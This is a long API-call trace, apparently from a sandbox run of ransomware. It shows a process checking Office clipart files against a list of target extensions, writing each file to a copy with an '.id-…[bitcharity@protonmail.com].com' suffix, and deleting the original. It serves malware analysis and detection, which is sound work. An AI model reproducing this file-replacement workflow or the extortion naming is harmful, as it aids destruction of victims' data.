[0296.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString=".zip") returned 4 [0296.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.569] lstrlenW (lpString=".rar") returned 4 [0296.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.570] lstrlenW (lpString=".bz2") returned 4 [0296.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.570] lstrlenW (lpString=".7z") returned 3 [0296.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.570] lstrlenW (lpString=".dbf") returned 4 [0296.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.570] lstrlenW (lpString=".1cd") returned 4 [0296.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.570] lstrlenW (lpString=".jpg") returned 4 [0296.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.570] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.570] lstrlenW (lpString="DD01630_.WMF") returned 12 [0296.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.570] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=296) returned 1 [0296.570] CloseHandle (hObject=0x10bc) returned 1 [0296.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x220 [0296.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.571] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.571] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.571] GetLastError () returned 0x0 [0296.571] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x128, lpOverlapped=0x0) returned 1 [0296.572] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x130, lpOverlapped=0x0) returned 1 [0296.573] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.573] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.574] SetEndOfFile (hFile=0x10dc) returned 1 [0296.574] CloseHandle (hObject=0x10dc) returned 1 [0296.574] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.575] SetEndOfFile (hFile=0x10bc) returned 1 [0296.575] CloseHandle (hObject=0x10bc) returned 1 [0296.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0296.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.576] lstrlenW (lpString=".doc") returned 4 [0296.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString=".docx") returned 5 [0296.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.576] lstrlenW (lpString=".pdf") returned 4 [0296.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString=".xls") returned 4 [0296.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.576] lstrlenW (lpString=".xlsx") returned 5 [0296.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.576] lstrlenW (lpString=".ppt") returned 4 [0296.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.576] lstrlenW (lpString=".zip") returned 4 [0296.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.576] lstrlenW (lpString=".rar") returned 4 [0296.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString=".bz2") returned 4 [0296.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString=".7z") returned 3 [0296.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.576] lstrlenW (lpString=".dbf") returned 4 [0296.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.576] lstrlenW (lpString=".1cd") returned 4 [0296.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString=".jpg") returned 4 [0296.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString=".doc") returned 4 [0296.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString=".docx") returned 5 [0296.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.577] lstrlenW (lpString=".pdf") returned 4 [0296.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString=".xls") returned 4 [0296.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.577] lstrlenW (lpString=".xlsx") returned 5 [0296.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.577] lstrlenW (lpString=".ppt") returned 4 [0296.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString=".zip") returned 4 [0296.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.577] lstrlenW (lpString=".rar") returned 4 [0296.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString=".bz2") returned 4 [0296.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString=".7z") returned 3 [0296.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString=".dbf") returned 4 [0296.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString=".1cd") returned 4 [0296.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 68 [0296.577] lstrlenW (lpString=".jpg") returned 4 [0296.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.578] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.578] lstrlenW (lpString="DD01631_.WMF") returned 12 [0296.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.578] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=552) returned 1 [0296.578] CloseHandle (hObject=0x10bc) returned 1 [0296.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220 [0296.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.578] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.578] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.579] GetLastError () returned 0x0 [0296.579] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x228, lpOverlapped=0x0) returned 1 [0296.580] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x230, lpOverlapped=0x0) returned 1 [0296.581] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.581] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.581] SetEndOfFile (hFile=0x10dc) returned 1 [0296.581] CloseHandle (hObject=0x10dc) returned 1 [0296.581] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.581] SetEndOfFile (hFile=0x10bc) returned 1 [0296.582] CloseHandle (hObject=0x10bc) returned 1 [0296.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0296.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.582] lstrlenW (lpString=".doc") returned 4 [0296.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString=".docx") returned 5 [0296.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.583] lstrlenW (lpString=".pdf") returned 4 [0296.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString=".xls") returned 4 [0296.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.583] lstrlenW (lpString=".xlsx") returned 5 [0296.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.583] lstrlenW (lpString=".ppt") returned 4 [0296.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.583] lstrlenW (lpString=".zip") returned 4 [0296.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.583] lstrlenW (lpString=".rar") returned 4 [0296.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString=".bz2") returned 4 [0296.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString=".7z") returned 3 [0296.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.583] lstrlenW (lpString=".dbf") returned 4 [0296.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.583] lstrlenW (lpString=".1cd") returned 4 [0296.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.583] lstrlenW (lpString=".jpg") returned 4 [0296.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.583] lstrlenW (lpString=".doc") returned 4 [0296.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.583] lstrlenW (lpString=".docx") returned 5 [0296.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.583] lstrlenW (lpString=".pdf") returned 4 [0296.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.584] lstrlenW (lpString=".xls") returned 4 [0296.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.584] lstrlenW (lpString=".xlsx") returned 5 [0296.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.584] lstrlenW (lpString=".ppt") returned 4 [0296.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.584] lstrlenW (lpString=".zip") returned 4 [0296.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.584] lstrlenW (lpString=".rar") returned 4 [0296.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.584] lstrlenW (lpString=".bz2") returned 4 [0296.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.584] lstrlenW (lpString=".7z") returned 3 [0296.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.584] lstrlenW (lpString=".dbf") returned 4 [0296.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.584] lstrlenW (lpString=".1cd") returned 4 [0296.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68 [0296.584] lstrlenW (lpString=".jpg") returned 4 [0296.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.584] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.584] lstrlenW (lpString="DD01761_.WMF") returned 12 [0296.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.585] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=4148) returned 1 [0296.585] CloseHandle (hObject=0x10bc) returned 1 [0296.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220 [0296.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.585] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.585] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.586] GetLastError () returned 0x0 [0296.586] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1034, lpOverlapped=0x0) returned 1 [0296.587] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1040, lpOverlapped=0x0) returned 1 [0296.588] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.588] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.588] SetEndOfFile (hFile=0x10dc) returned 1 [0296.588] CloseHandle (hObject=0x10dc) returned 1 [0296.588] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.589] SetEndOfFile (hFile=0x10bc) returned 1 [0296.589] CloseHandle (hObject=0x10bc) returned 1 [0296.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0296.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.590] lstrlenW (lpString=".doc") returned 4 [0296.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.590] lstrlenW (lpString=".docx") returned 5 [0296.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.590] lstrlenW (lpString=".pdf") returned 4 [0296.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.590] lstrlenW (lpString=".xls") returned 4 [0296.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.590] lstrlenW (lpString=".xlsx") returned 5 [0296.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.590] lstrlenW (lpString=".ppt") returned 4 [0296.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString=".zip") returned 4 [0296.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.591] lstrlenW (lpString=".rar") returned 4 [0296.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString=".bz2") returned 4 [0296.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString=".7z") returned 3 [0296.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString=".dbf") returned 4 [0296.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString=".1cd") returned 4 [0296.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString=".jpg") returned 4 [0296.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString=".doc") returned 4 [0296.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString=".docx") returned 5 [0296.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.591] lstrlenW (lpString=".pdf") returned 4 [0296.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString=".xls") returned 4 [0296.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.591] lstrlenW (lpString=".xlsx") returned 5 [0296.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.591] lstrlenW (lpString=".ppt") returned 4 [0296.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0296.591] lstrlenW (lpString=".zip") returned 4 [0296.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.591] lstrlenW (lpString=".rar") returned 4 